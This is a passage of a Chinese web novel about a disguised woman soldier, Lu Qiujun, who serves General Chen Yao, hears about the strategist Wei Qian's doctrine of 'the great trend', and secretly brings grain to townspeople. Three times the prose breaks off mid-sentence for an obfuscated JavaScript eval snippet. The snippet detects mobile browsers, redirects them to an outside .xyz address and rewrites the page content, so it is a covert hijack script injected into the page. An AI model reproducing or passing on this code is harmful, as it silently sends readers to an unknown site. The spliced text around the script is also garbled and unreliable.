还是头一次有人跟他说若是有太平的一天,王景微微一愣,也对她一笑:“一定。” 王景离开后,陆秋筠也不再纠结自己目前还没能力改变的事情,她估摸着今晚全都忙活着庆功,应该不会再有人来找她,因此和李腾说了一声后,就拿了换洗衣服去周边的一条河流里洗澡。 她脱下染了血的外袍,谨慎起见没脱里面的贴身衣物,打算等会儿上岸了再换。 此时正是初秋,天气宜人,她把自己泡进流水里,只露出肩膀和头来,舒服地叹了口气,有一搭没一搭地和0302说话。 另一边,陈垚终于找到了借口从庆功宴上脱身。 他几乎是迫不及待地掀帘离开,殿内的暖香和那一群谋士的脸一瞬间从他身边远离,他这才打心底里松了口气,觉得自己的陈年老伤都舒服了不少。 念头一转,他又想起今晚还没见过这次的功臣——那个叫陆丘的小瘦猴,顿时就来劲了。 他一向雷厉风行,说干就干,问一句陆丘帐子里的人,知道了他是去洗澡,抬脚就顺着旁边的河流一路找了过去。 他一边走,一边纳罕这小子洗个澡怎么还跑这么远。过了一会儿,他都开始怀疑这小子是不是被野兽叼走了,才听见前面隐隐传来了一阵水声。 陈垚探头一看,瞅见这小瘦猴正泡在黑黢黢的河流正中央,头发披散下来,只露出了一个脑袋,背对着他。 他这个人平时是没什么将军架子的,也因此和士兵们关系好,陆丘这会儿又刚刚荣登他欣赏的人之列,陈垚有意释放自己的友好讯号,顿时大笑几声,一边走一边笑道: “你这小瘦猴,真是让我好找。” 陈垚! 陆秋筠刚刚还在问0302一些关于系统和任务的事,这会儿一人一系统都被陈垚吓蒙了,还是陆秋筠先反应过来,快速开口: “将军等等!” 陈垚眨了眨眼,觉得这陆丘这会儿的声音有点怪,月光下的背影也挺怪的。他不由自主地放慢了脚步,挠了挠头,有些呆地问: “你小子还害羞了?” 陆秋筠咬牙,也哈哈笑了几声,背对着他朝岸边移动: “将军不知,小人身上有胎记,很是狰狞,小时候我爹娘都怕看到它……” 她一边乱七八糟地说着话,说话间来到岸边,幸好她还穿着里衣,连忙扯过自己放在岸上的干净的外衣,裹在了自己身上: “真是怕吓到将军。” 陈垚毫不在意地挥了挥手,竟然又大步走了过来: “这有什么,本将军什么伤疤没看到过。” 0302濒临晕厥,陆秋筠也没想到这将军竟然这么雷厉风行,还没想好该怎么办,这人就已经迈着长腿走过来了。 月光下黑影逐渐逼近,陈垚走到她面前,目光如炬地看着她,陆秋筠强迫自己和他对视,手心不由自主地已经冒出了些汗,她哑着嗓子紧张道: “将军,请容小人……” “分辨”两个字还没说出来,陈垚就朗笑着拍了拍她的肩膀,她被拍得一懵,听见这将军爽朗地道: “陆兄弟无须自卑,虽然你是瘦小了点,但今日在战场上可是分外神勇啊!” 陆秋筠沉默几秒,默默低头看了下因为营养不良起伏很不明显的胸口,干笑了两声,心情复杂地道: “将军谬赞了。” 脑子里的0302陡然发出一阵猖獗的笑声,一边笑一边断断续续地道: “我都不知道该不该庆幸了,还是你有先见之明啊,幸好我们没走美人计的路线。” 陆秋筠:…… 她心情复杂地拽紧了自己的外衣,从水里出来: “将军找我有什么事吗?” 陈垚挥了挥手:“没什么大事,就是突然想起今晚还未见过你,王景应该给你记过功了吧?” 陆秋筠心说这是闲的没事干,但还是点了点头,顺势披着外衣站起了身,和陈垚并肩而立。 陈垚此人虽是个五大三粗的武将,有时候心思却挺细,他今晚来找陆秋筠也并非完全是一时兴起。 他见陆秋筠身量小,估摸年龄也不大,又听说他独自一人出来洗澡,怕这少年第一次上战场想不开,因此才一路找了过来。 他正要和他心目中的冉冉升起的少年英才再谈几句心拉近距离,一晃眼就看见面前的人站起了身,衣袍晃动间,胸口竟有微微的起伏。 ——? 陈垚疑心自己眼花看错了,想再确认一眼时陆秋筠却已经整理好了外袍,那一点似有若无的弧度也被藏进了衣服里。 他顿时抓心挠肝起来,眼睛左转右转地还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679099|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再确认一眼,倒把人家看疑惑了。 “将军?” 迎着陆秋筠澄澈又疑惑的目光,陈垚哈哈笑了几声,只是这笑声怎么听怎么尴尬。 他难得有些窘迫地搓了搓自己的衣角,强行把目光移开,斩钉截铁地想道: 肯定是他看错了!肯定! 只是这目光虽然移开了,气氛却尴尬起来,陈垚本想说的话也说不出口了,一张嘴成了锯嘴葫芦,陆秋筠更不知道和他有什么好说,两人之间一时沉默非常,只是一起并肩往回走去。 不知不觉间,两人已近营地,此时大多数人已经回了营帐休息,营地里一片黑暗。陆秋筠刚要和这位将军分道,旁边却突然窜出个黑影,直冲着两人扑来。 她一惊,反应极快地出手攥住了此人拿着刀的右手,待其吃痛松手后又进一步制住他。 陆秋筠借着月光看了看来人,对着那一张一看就分外憨厚的脸疑惑问道:“你是何人?要做什么?” 他用力挣了挣,一脸愤恨:“我是为魏将军的天下大势而来!” 陆秋筠转头看看陈垚:“你找错人了,他是陈将军,不是魏将军。” 陈垚本已严肃起来的脸庞顿时变得无奈:“他说的是魏潜,你难道没听说过魏潜的名头?” 陆秋筠摇头:“没有,将军能仔细为我说说吗?” 陈垚还没来得及说话,被陆秋筠按在手下的人已经激动地抬起了身体: “顺势者昌,逆势者亡!只有顺应魏将军推演出的天下大势,我们才能得到真正的安宁!” 一提魏潜,这人就像打了鸡血一般,陆秋筠皱眉,重新加重力气: “什么天下大势这么厉害?” 这人低下头,话音不知为何变得有些含糊混沌: “你,你凑近些……我告诉你。” 陆秋筠有些好奇,作势真要弯腰附耳去听,陈垚连忙伸手握住她肩膀:“等等!别听他的。” 他放声喊来几个亲兵,等他们从陆秋筠手里接过此人后才松开手,转而掐住了此人的脸颊。 面容敦厚老实的人吃痛,被迫张大嘴巴,露出一条较普通人更为宽长的舌头。 他挣扎间那舌底竟有银光闪过,陆秋筠震惊地瞪圆了眼睛,亲兵适时举高手中火把,她这才看清那到底是什么东西—— “他竟在舌底放刀?” “说放有些不准确,”陈垚抬了抬此人下巴,示意旁边的人将他的舌头翻开,“他是将刀片嵌在了舌底。” 果不其然,那舌头反面嵌了个小而薄的机关装置,银光闪闪异常锋利的刀片就放在其中,亲兵伸手碰了碰,那舌头便不由自主地抽搐一下,似乎碰到了什么机关,刀片一下就缩了回去。 陈垚收回手,轻叹一声:“所以我说,正面攻守从来不是魏潜所擅之道。” 那人见自己最大的秘密已经暴露,也不再挣扎掩饰,突然高声叫嚷起来: “你们都活不久了!魏将军的天下大势,第一步就是要把你们这些人都杀了!” 张老兵连忙一掌把他击晕,冲陈垚两人尴尬笑笑,催着其他人一起把人带了下去。 5. “安原?我从未听说过这个地名。” 陈垚举着火把在前面带路,陆秋筠跟着走了一会儿,忍不住追问: “将军还没有告诉我,天下大势到底是什么,那人最后的话又是什么意思。” 陈垚斟酌一瞬,才慢慢开口: “我听说,十年前,朝廷曾办一学宫,广收天下才子,魏潜是其中名气最盛的一个。” “他自称长于谋算,天下诸事兴衰胜败都不过在他五指掐算之间,几年间著书立说,竟事事应验,因此颇得一些名士和世家的推崇。” 陆秋筠冷不丁道:“想来还有不少百姓?” 陈垚讶然看她一眼,赞道: “的确,他有料事如神的名声,自然也有不少百姓信他,甚至是将他当作神一般供奉。” “若仅是如此,他最后也不过会是个名气大些的士人。但数年前,先皇暴毙,天下大乱,学宫自然也被解散。” “名士学子们四处流散,各佐其主,魏潜却突然开始宣扬他已参破天下大势,只要依照他的说法修理大局,这天下就能恢复数百年的太平。” “他的势说一出,迅速流传开来,尤其得一些平民百姓的青睐,不少人愿为他赴汤蹈火,因此他虽是名士,现在却也已经是个手下有兵的将军了。” 他语气讥讽,显然是对这魏潜十分不满不信,但陆秋筠看他一眼,有些犹豫地开口: “所以他的势说究竟是什么内容?能流传甚广,难道不是因为很有道理吗?” 陈垚突然停了脚步,她差点撞上他的后背,站稳后四处一看,才发现原来两人边说边走,已经到了营地深处,她旁边便是小兵们扎营的地方。 陈垚回过身,火把照亮他半边英挺的脸庞,他定睛看她一会儿,叹了口气: “天下人不分学识身份,只有愚慧二分,信他的便是慧,不信的便是愚,慧人统领天下是大势,消灭愚人,扶持慧人,是顺应天下大势。这就是他的势说。” 陆秋筠怔然,张了张嘴:“所以刚刚那人……” “平民里的愚人抛弃便是,但像我和崔将军这样不信他的愚人,”陈垚指了指自己,“是很难杀的,所以大凡非常信奉他的人,多以自己为武器,专寻找机会刺杀,防不胜防。” …… 落叶打着转儿下落,经历了两次战乱的东宁郡很是安静,陆秋筠坐在树下,心思却不在风景之上: 魏潜到底和她的任务有没有关系?按照陈垚的说法,崔复和魏潜立场相对,那崔复下令屠城会不会就是因为魏潜? 0302也在她脑子里思考,但它明显是个不太聪明的系统,思考着思考着就开始耍赖: “这样做任务也太麻烦了,反正我看你现在也颇有几分姿色,要不还是考虑回我一开始的建议?” 陆秋筠无声地翻了个白眼,奚落它没有脑子就别动为好。 这时她看见远处张老兵正朝她招手,看上去是刚从将军的营帐里出来: “陆丘,快来!轮值了。” 陆秋筠拍拍屁股,走了过去。 陈垚在和她交谈之后的第二天就提拔了她当自己的亲兵,十天过去,陆秋筠对于亲兵的工作也已是驾轻就熟。 首先,进去之后要先告诉一声上首坐着的陈垚: “将军,轮到我当值了。” 但将军一般都会有自己的事干,不会在意人员的轮换,比如现在,他就头也没抬地嗯了一声,似乎还在伏案写着什么。 这时候就需要充分发挥自己的主动性,随便找个地方待着,等将军叫人时再出声答应。于是陆秋筠往旁边的席子上一坐,开始放空发呆。 时间慢慢流逝,营帐内安静无声,只帐外时不时有几声模糊的杂音,陈垚聚精会神地摹完一幅地图,只觉分外顺利,神清气爽。 他搁下笔,这才发现已经好久没听到身边亲兵的呼吸声了,连忙抬眼一看,却见陆秋筠仍直挺挺地坐在下面,只是双眼无神,一看就知道在发呆。 他失笑:“陆丘,快过来。” 陆秋筠回过神,走上前去,却被塞了一幅地图。她照着陈垚的吩咐把地图挂上,确保没挂歪后,又站在地图前左右看了看。 陈垚并不觉得冒犯,反而走至她身后和她一起端详。 当日攻城时陆丘的功夫已经让他眼前一亮,这十几日的相处更觉此人办事认真,心思赤忱,对世事还常有自己独到的见解,分明是个不可多得的人才。 而陈垚一直坚信,对人才的态度应该更春风化雨一点。 因此他颇为柔和地道: “如何,可是发现了什么错漏?” “人才”摇摇头:“我不认识这里的地图,不知道有没有错漏。” 陆秋筠指指宁州的位置,转头看向身后的陈垚: “只是将军,我们已经在此处停留十多日了,将军对下一步是个什么打算?” 陈垚似乎对她提出的问题有些惊讶,将目光移向地图,笑了笑: “你觉得不妥吗?我看军中其他人倒觉得在东宁多留一阵也很安稳。” 此话一出,他立马察觉到面前亲兵的眼神变得痛心疾首起来,好像在说“将军你在说什么胡话”。 下一瞬,这亲兵还真说出了类似的话: “将军,你如何能这么想呢?” 陈垚失笑,示意她继续说。 陆秋筠一连点了东宁郡周边的好几个地方: “我和其他亲兵们闲谈时,听说这魏潜此前正在宁州正中的宁中郡准备自立为王。” “半月前崔将军要我们做前锋攻下宁州东部的东宁郡,但其他将领却始终不见,第二日崔复将军也离开了东宁。” 她迎上陈垚有些惊讶的目光:“我只能猜测,崔将军应该是想将魏潜围困于宁中。” “但至多十日前我们突袭攻城后,魏潜应该就已经得到了消息,最后鹿死谁手尚未可知。我想,将军近日就是在等宁州其他地方将军们的战事情况,却迟迟未能等到。” 陈垚看她的目光已经不仅仅是柔和了,而是又柔和又火热堪称岩浆了,他拉着陆秋筠快步在案前坐下,为显亲近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679100|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和重视,他还紧紧握住那双手晃了晃: “我的确没有等到,贤弟有什么想法,速速道来。” 陆秋筠来不及回应脑内0302对“贤弟”的嘲笑,顶着他火热的视线继续道: “我想无非是三种情况,第一种是崔复将军的合围之策成功,却不愿让将军参与下一步行动。” 她一边说,一边观察,见陈垚皱了皱眉,神色却并未显得多惊讶。 “第二种是魏潜猜出了崔复将军的计策,但其兵力战斗力俱不占优,大概并不会正面交锋,而是一边遁逃一边发动暗中的刺客。则也有可能是将军们此时正焦头烂额,无暇传递信息。” 陈垚边听边点头,目光灼灼:“我想大概也就是这样,那还有一种情况呢?” 陆秋筠顿了顿:“还有一种最坏的情况。” 她慢慢道:“魏潜选了我们这个方向作为突破口,可能是他在路上拦下了各方传来的讯息,也有可能——” 崔复根本没有让人传讯提醒他们,而是等着陈垚到时和魏潜斗个两败俱伤,坐收渔翁之利。 但这后面的话就不必说出口了,陆秋筠适时停住,看着陈垚面色几变,沉思半晌后又霍然站起身,来来回回地转圈: “有理,有理,贤弟你说得对,我这就再重新布置一番!” 陆秋筠被他一口一个的贤弟创个半死,眼见他对自己更亲信几分,便连忙趁势问道: “对了,我还有一事想请教将军,将军可听说过安原这个地方?我看这地图上并未画出来。” 陈垚站住脚,似是细细思索后才有些疑惑地回答: “安原?我从未听说过这个地名,贤弟是不是记错了。” 陆秋筠和0302俱是惊讶地“啊?”了一声,她又回想了一遍那段记忆,摇摇头: “不会记错的,将军真的没有听说过这个地方吗?” 陈垚笃定地摇了摇头:“我行军数年,地图更是不知摹过多少幅,的确从未听说过这个地方。” 唯一的线索又断掉了,陆秋筠暗暗叹气:“多谢将军告知。” 陈垚摇摇头,让她叫张虎进来,于是陆秋筠又掀帘出来,把张老兵叫了进去。 她情绪低落得有些明显,张虎疑惑地打量了她一下:“怎么了这是,莫非将军罚你了?” 陆秋筠摇摇头,指了指将军营帐示意他进去,就又转身离开了,较之平时的样子,活像是活蹦乱跳的小狗垂了尾巴。 张虎揣着糊涂进了营帐,而陈垚见他进来,便将自己刚刚想好的新布置说给了他。 他越听越惊讶,但到底是最得陈垚信任的亲兵,张虎明白事情重要,并未多问就立刻出去吩咐了下去。 陈垚重又在案前坐下,他本来还在细细思量那三种情况,无意间却嗅到自己身上似乎萦绕了一股浅淡的香味,他疑惑地抬起手闻了闻—— 香味更明显了。 动作微微一顿,不知道是在脑海里想了些什么事情,半晌后,他才放下手,若有所思地眯了眯眼。 6. “你,就是你一直给我们送粮食?” 人是铁,饭是钢。就算任务上似乎出了点小问题,在陆秋筠这里,最重要的还是吃饭。 陈垚军中有一部专管辎重后勤,每到饭点便会架锅做饭,管理全军饮食。 陆秋筠捧着碗端回自己的粥饼,席地坐下开始埋头苦吃,0302咂舌: “还真是什么都能吃得很香,陆秋筠你可以在现代世界当吃播。” 她不语,一味地吃,面前投下一道阴影,有人在她旁边坐下。 她抬头一看,是张虎,看样子应该刚给将军送完饭,手上端着同她一样的菜粥和饼子,大大咧咧地坐下后就对着碗吸溜了一口。 0302:“咦,张虎你也可以当吃播。” 陆秋筠懒得理它,用疑惑的目光看了一眼张虎: “突然坐我旁边,有什么事?” 毕竟大家吃饭都是随便挑个空地席地而坐,她又是出了名的吃饭专心致志,平时并没有多少人会坐她旁边。 张虎又吸溜了一口,才开口:“你知道我们将军吃的是什么吗?” 陆秋筠不明白他怎么突然提这个,她这十天里也给陈垚送过饭,自然是知道的: “粥饼,和我们一样。” “你说说这事是不是还挺不可思议的,”他指了指手里的碗,“手底下万把人的将军,张嘴要什么都能有人送上来,偏偏和我们吃的一样,就这菜粥。” 陆秋筠认真地摇摇头: “还好吧,我现在还能把你们都打趴下呢,我也和你们吃一样的。” 张虎无语:“谁跟你说这个,我的意思是,像陈将军这样的将领,我活了这么多年,也就只见过这一个。” 他竖起一根手指,又沉默了一下: “吃穿用度和普通士兵一样,进城不烧杀抢掠,有仁义之心,我以前还觉得这真是古书上才有的人物,碰上陈将军,我才晓得乱世里竟然还真能有这样的人。” “于是我又觉得,就算我一辈子只能碰上这一个,那也是我的幸事了。” 陆秋筠以为他来做思想教育工作,刚想让他等她专心吃完饭再说,却见这老兵又缓缓竖起第二根手指,目光炯炯地看着她: “但从那晚之后,我越看你,越觉得你会是这第二个。” “你还是个新兵时,我跟你说,当了将军就能想要什么就要什么,这并不全是假话。这样的将军我见多了,就是问我自己,我自己也不一定能忍住。” “所以我知道,像我们这样的人,不能也不该当将军。但说说嘛,就当是给自己活着的一口气。” “偏偏那天晚上,你竟然说,怕当了将军就忘了要救人。” 他说着说着,两眼放起光,脸兴奋得通红:“那时候我就想,这到底是哪路的神仙显了灵,竟然还真让我碰上了第二个这般的人物。” 陆秋筠端着碗的手都顿住了,一时不知道到底要怎样回这明显有着几分重量的话,半晌后,她小心翼翼地问: “你是替陈将军来考验我的吗?” 不然怎突然说出这样好像在支持她夺权一样的话。 张虎拍腿大笑,笑得眼泪都出来了:“我知道你能听得懂,我只想和你说一句话:你一饭能食三升,又为何要因噎废食呢。” 陆秋筠看了看自己手里的海碗,感觉有些微妙。反正这顿饭是没法吃愉快了,她索性直接站了起来: “我也不是每顿都能吃三升。” 她转身要走,张虎的手紧了紧,还是没忍住再次开口:“陆丘,你难道现在还是只想救一个人吗?” 张虎说这句话的声音本就不大,等她站起身后更不容易听见了,毕竟四周都是吃饭交谈的声音 ——明明这些小兵们可能前几天还在因为要上战场要没命痛哭流涕,该吃饭时却又还是能吵吵闹闹,说这说那,吵得这句话几乎要消失在空气里。 偏偏陆秋筠还是听到了,她脚步顿了顿,没有回答,0302连忙在她脑子里开口: “那当然,任务里就提了一个人,陆秋筠你可别自己给自己增加负担啊。” “乱世哪儿是那么容易改变的,你在你那个世界二十几年了也没办法,他这是道德绑架!我就知道人类很卑鄙哼哼哼,不过你不一样,所以你才不能答应,要保护好自己知道吧……” 0302的碎碎念里,陆秋筠听见张虎还在说话,声音有点紧张: “你、你不承认就算了,不过就算别人不知道,我可是知道你每天多领的粮食都去了哪儿的。” 陆秋筠转头。 张虎连连摆手:“诶诶诶,别想着打我啊,我没跟着你,我是猜出来的,毕竟人再能吃也不能到那个地步吧。” 陈垚军里每天吃的东西差不多,但每人能领的粮食数量是不同的,陆秋筠上次立了功,又被提拔当了亲兵,粮食份额远远超出一般士兵。 大多数士兵会选择把多出的份额存下来,有需要时再支取,或换成银钱寄回家中,但张老兵知道,陆秋筠这半月几乎没什么余粮剩下来,全被她隔几天就装在背篓里背走了。 陆秋筠姑且相信地点了点头,却被迎面扔了个东西—— 是张虎领粮食的牌子。 扔东西的那人却移开了目光,吸溜了一口碗里的粥: “把我的也加上吧,毕竟我现在孤家寡人一个,没牵没挂的,就当给我妻儿积福了。” 陆秋筠点点头:“行,我一定告诉她们这是一个鳏夫给的。” 她说完转身就走,徒留张虎一人在原地跳脚,啐她天天拿自己说笑,惹得旁边的小兵还过来劝架。 等陆秋筠走远,小兵们也散开,他重又气呼呼地坐下,脑子里却忽而想: 当年他扔了货物,紧赶慢赶地回家,一眼看见院子里的野草比他家女娃还高,门旁还垒着矮矮的坟堆,他寻思谁这么缺德坏他家风水,喊着妻儿的名字一脚踏进家门,才看见床上已经不复人形的妻子。 你说那时候她们怎么没碰上一个陆丘呢。 粥里混了眼泪,他也只是埋头吸溜得滋滋作响。 时也命也?他不信,因这时、势明明是由人而起,也合该由人来结束,而有些人,哪怕只是多出一个救人的念头,就能让很多人都活下来。 因为被张虎抓着讲了那么多话,陆秋筠今天进城的时间比平常晚了一些。 攻下城后,东宁郡的城门粮仓等就全被陈垚的军队接手了,但他本人和大部分士兵都驻扎在城外,只留下了部分人在城内帮助恢复生产和交易。 守城门的也是陈垚手底下的兵,对她已经很眼熟了,检查完她的木牌后就把她放了进去。 陆秋筠装好木牌,抬脚跨入城门,仿佛一瞬间跨入了另一个世界。 城门外开阔荒凉,除了驻扎着的陈垚的军营外,只有一条官道上时不时有车马经过,城门内不少百姓都大着胆子重新开始正常生活了,一时间道路两边分外喧闹。 陆秋筠一身士兵装束,身后还背着一个巨大的背篓,惹得不少人都对着她好奇地窃窃私语。 她面不改色地穿过这些人,熟门熟路地钻进一条小巷,抬起手,正准备敲响其中一户人家的大门。 这时,她身后突然传来一道熟悉的、有点疑惑的声音: “陆丘?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679101|173198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头,一身灰袍,同样背着个背篓的王景眼睛一亮,在石板路上快步向她走来,双眼带笑,嗓音是一贯的柔和: “没想到能在城里见到你。” 陆秋筠看了一下他身后的背篓:“你这是?” 王景对她的印象很好,因此非常爽快地掀开了自己背篓上的薄布,让她看了看里面装着的东西—— 竟然是笔墨纸砚等物。 面前的小亲兵显然很吃惊,抬头看向他的眼睛都有些瞪圆了: “这是你的东西?” 王景笑了笑,盖回布: “这是我当初从家中带出来的,我看陈将军一时半会儿似乎没有要继续行军的意思,索性就把它们拿出来用一用。” 陆秋筠还是有些惊讶:“怎么用?” “抄字、教书,怎么用都行,”王景的笑容变得有些暗淡,“实在不行就卖了吧,留在我手中反而让它们受罪。” 陆秋筠记得那里面明明还有些看上去就极珍贵的书籍,书页都泛黄了,却还是完好无损,一看就知是主人极爱护的,一时张张口,竟有些不知道说什么。 倒是王景看出她的可惜之意,反过来安慰了她:“不必替我觉得可惜,要是能让更多的人读书识字,反倒是好事一件了。” 他冲她眨了眨眼:“况且陆小兄弟你不是也天天来城里送粮食吗,我早都听别人说了,我也想学学你,多做点好事。” 陆秋筠看了他一会儿,点点头,并没有再说什么,王景便冲她挥挥手,背着背篓一路向其他地方去了。 陆秋筠也终于敲响了那一户人家的大门,但她并没有等人过来开门的意思。 午后阳光正烈,听到院中传来了脚步声后,她就把肩上背篓中的粮袋放在了屋檐下阴影处,自己快步向巷口走去。 “咔嚓”一声,院门被人急匆匆地推开,出来的人在她身后喊她: “诶,你等等!” 陆秋筠大惊,没想到今天出来的人动作这么快,连忙也加快了脚步,但没等她走几步,她的背篓就被一股力量拽住了。 她被迫回头,一个身材高大、肌肉结实的女人瞪着眼看她: “你,就是你一直给我们送粮食的对吧。” 她有些局促地点了点头,0302在她脑海里有些无语:“你不是来帮她们的吗,心虚什么。” 那我也是第一次做这种事啊,以前在乱世里都没有这个能力。 陆秋筠在脑子里反驳。 况且她不想给她们带来麻烦。 虽然她在送粮食之前就已经打听过,东宁的民风还算开放,女人们之间还结了女人社,平日里也会互相帮助,她来送粮食的这家就是众人聚会时的社长家,但她觉得最好还是谨慎一点,避免节外生枝。 思及此,她坚决地把自己背篓从女人手中挣了出来,对面前这比她还高半个头的社长点点头,拔腿就要再次溜走。 “都说了让你等等。” 那女人三两步拦在她面前,上下打量了她一会儿,很满意地点点头,对着她身后开口: “应该就是了,把我们准备的东西拿出来吧。” 陆秋筠没料到会被人逮个正着,以为被她们误会成了心怀不轨的小人,惴惴然回头,却被另一个女子塞了个颇有分量的大包裹。 她打开一看,不禁怔然。 社长一边翻一边念叨: “你第一回送粮食的时候,救了好几户咱们社差点断粮的人家,后来你还带了些草药,那两天咱们社张家的小女娃差点因为药铺没开没了命,这是她娘做的一双鞋。这是李家女娃给你的小铜像……” 7. “但我会找到的。” 日头西斜,距离陆秋筠几百米远的巷子内光线更加昏暗,王景跌坐在地,背篓里的东西洒了一地。 “干嘛呢你,想用这个骗我们粮食吗!” 他低着头,对面前人的指点奚落指点奚落全无反应,只是埋着头,想把那些笔墨纸砚和书籍重新装回去。 面前的人不依不饶,拦住他的动作,四处喊人:“大家快来看啊,我就说这些人不是好人,来骗我们粮食了!” “你还是人吗,你们这些人天天打仗,害得我们全家老小都快饿死了,你还要来换走我们的粮食。” 他一把拉起王景,激动地戳着他的胸膛,另一只手指着地上的那些东西: “就那一个东西,你要我们拿那么多粮食来换,就是来骗人的吧!” 王景被他戳得生疼,连连后退了好几步,余光瞥见那人抬脚后要踩上他的书,他悚然一惊,原本有些漠然的表情终于起了变化,他一把挣开那人的手,几乎快扑到地上去拦: “别,别踩!” 阴差阳错般,他这一挣反而叫那人脚下不稳,连连踉跄,眼看就要结结实实地踩上一脚。 王景扑在地上,一时间如坠寒窟: “父亲,是我无能……果然、果然,再怎么努力改变他们也没用……” 下一刻,面前却突然传来了一声惊叫,他发黑的视野里出现一双干净的布鞋和一截布衣角,来人喊他的名字: “王景?” 他怔怔然抬头—— 没人踩到他的书,那个名叫陆丘的小兵一把拉住那人的臂膀,拽到一旁的空地,又弯腰捡起地上的那些东西,轻轻拍拍灰,放回了他的背篓里。 不过几个眨眼的功夫,刚刚几乎要叫他崩溃的危机就已经被面前的人轻松化解。 昏暗的巷子里,陆丘拎着他的背篓,朝他一步步走过来,又弯腰冲他伸手要拉他起来。 王景脑袋有些空白,只看见那张清秀的脸上还是没什么表情,眼神和语气却很柔和: “能起得来吗?” 他恍然惊醒,手指蜷了蜷,却并未搭上朝他伸来的一双手,而是自己扶着墙站了起来。 他虽然手无缚鸡之力,骨架却大,因此站起来就比面前的人高了不少,偏偏面前这人看见他站起来后,还自己转回去,像护小鸡一样挡在他面前,声音发冷地问那人想干什么。 王景愣愣地盯着面前人的发旋,声音已经自动屏蔽了外界的声响,直到两人一前一后地向着巷子出口跑了,他才反应过来。 原来是那人有些心虚,转身就想逃跑,陆丘冲他撂下一句“帮我看下东西,等着我”,就追了上去。 王景有些呆地看着两人跑出巷子,自己一个人慢吞吞地拿起了背篓,一点点地检查起来,手还有些发抖。 正中的一本被带起了一点封皮,露出几竖排墨字,除书名和篇名外,最右一排墨字最小,王景的目光却在这上面停留了最长时间: 宁州王氏藏。 他攥攥掌心,藏住眼中复杂的情绪,把背篓重新背起来。 低头时却看见地上还躺了个大包裹,系口很松垮,里面不少东西都露了出来,甚至还有只鞋已经从系口处斜滑了出来,躺在地上,看上去孤零零的。 这好像是陆丘让他看着的包裹。 王景有些迟疑,但看陆丘一时半会儿还没回来,最后还是抿抿唇,蹲下来捡起那只鞋,重新解开包裹的系口,把它塞了回去。 那包裹说到底就是一块大点的布,四角拎起才能扣成一个包,王景本来只想把鞋子塞回去,再系紧一点,结果他一扯,整个结就散开了。 整个包裹都摊了开来,内容物一览无遗,他大吃一惊,捏着那四个角连忙想把东西重新兜起来,偏偏里面的东西又多又碎,争先恐后地从四边跑出来。 他手忙脚乱,满头大汗,避无可避地看见了这包裹里到底都是些什么东西—— 一双布鞋,一个小铜像,一只憨态可掬的老虎布偶……怎么还有一包灰状的东西?怎么还有几件里衣? 他满头雾水地把那一包灰和那几件里衣也规规矩矩地塞回去,但很快,他就看到了压在那几件里衣下面的亵衣。 分明是女子穿的样式。 他手指一顿,又呆住了。 …… 陆秋筠眼力好,动作又灵活,前面的人七拐八拐,硬是没能把她甩开分毫,他咽咽口水,猛地停住,转过身腿一软就跪了下来。 陆秋筠一默,眼疾手快地拉起他:“你做什么?” 看上去已经到了中年的男人一个劲地给她作揖:“是我错了是我错了,你放过我吧!我,我家里还有老人妻儿,求求你放过我们吧……” 说着说着这人就发起抖来,听上去几乎快被吓哭了。 陆秋筠后退几步,打量他的神色:“刚刚不是十分理直气壮么,怎么这么害怕我?” 她语气平平,表情却很冷淡,周身自有一股腥风血雨中淬炼出来的霜雪气息。 她自己没意识,那人却只抬头看了一眼就抖得更厉害了,又要下跪给她磕头: “是我眼瞎,有眼不识泰山,您大人有大量,饶了我们一家吧,求您了求您了。” 好像回忆起了什么不好的事情一般,他的神情和语气越发神经质,只一味念叨着求她放过自己一家,陆秋筠怔然,眉头微皱,并没有立刻出声。 “我错了,我错了……” 他趴在地上,一句话颠来倒去地重复,但不过一会儿,他突然抬起头,眼珠瞪得奇大,却不像是在看陆秋筠,而像是陷进了什么恐怖的回忆: “我到底有什么错,我到底有什么错,我只是不想死,不想让我的亲人死,我只是不想杀人……” “杀人,杀人,那天魏军进城,说要杀尽我们这种愚民,像砍鱼一样杀了那么多人,刀捅进肉里的声音,我这辈子都忘不掉……” “周大哥说要带我们反抗,他是我们这儿读书最多的人,谁都愿意听他的,我劝这个劝那个,没人听我的。结果最后呢,他自己全家都被杀了,还差点拖累死我们。” 陆秋筠看出他不对劲,听得0302用一贯漫不经心的声音慢悠悠道: “精神崩溃了呗,这破世道天天血啊肉啊,心理不出问题才奇怪呢,这要放到现代,拉精神病院里治疗治疗就啥事没有了。” 陆秋筠没什么情绪地在脑子里嗯了一声。 陆秋筠从来没听说过这些东西,但她却对这样的状态很熟悉,大凡乱世开始,几十年甚至几百年间,无数的人就是在这样的折磨下度过每一日的,她当然也不会例外。 